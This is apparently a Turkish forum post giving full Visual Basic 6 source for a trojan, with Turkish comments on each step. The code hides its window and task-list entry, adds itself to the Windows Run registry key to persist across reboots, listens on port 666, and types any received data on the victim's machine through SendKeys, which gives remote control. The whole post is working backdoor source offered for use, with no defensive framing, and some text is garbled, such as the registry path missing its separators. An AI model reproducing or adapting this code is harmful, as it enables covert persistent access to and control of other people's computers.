Visual Basic Trojan Yazılımı Kod

[B]Private Sub Form_Load() 
 App.TaskVisible = False ' Trojan Ctrl + Alt + Del ekrannda grnmeyecek 
 ' Buda program(trojan windows kayıt defterine ekler ve windows her 
 ' çalıştıgında çalışmasını sağlar. 
 Dim KayitDefteri As Object 
 Set KayitDefteri = CreateObject("wscript.shell") 
 KayitDefteri.RegWrite 
 "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENT VERSIONRUN" & App.EXEName,

 App.Path & "" & App.EXEName & ".exe" 
 Winsock1.LocalPort = "666" ' bu trojann portun belirtir. isterseniz değiştirebilirsiniz 

 Winsock1.Listen 'Trojan bağlantıları dinliyor. 
 Me.Hide 
 End Sub 

 Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 
 'Winsock kontrol kullanılıyor mu bak. 
 If Winsock1.State <> sckClosed Then Winsock1.Close 
 Winsock1.Accept requestID 'Istemci bilgisyar bağlantısını kabul et 
 End Sub 
 Private Sub Winsock1_Error(ByVal Number As Integer, Description As 
 String, ByVal 
 Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal 
 HelpContext 
 As Long, CancelDisplay As Boolean) 
 'Hata olmusa yada bağlantı kaybedilmise, tekrar dinlemeye geçiliyor 
 Winsock1.Close 
 Winsock1.Listen 
 End Sub 

 Private Sub Winsock1_Close() 
 Winsock1.Close 
 Winsock1.Listen 
 End Sub 

 Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 
 Dim data1 As String 
 Winsock1.GetData data1 
 DoEvents 
 SendKeys data1 
 End Sub[/B]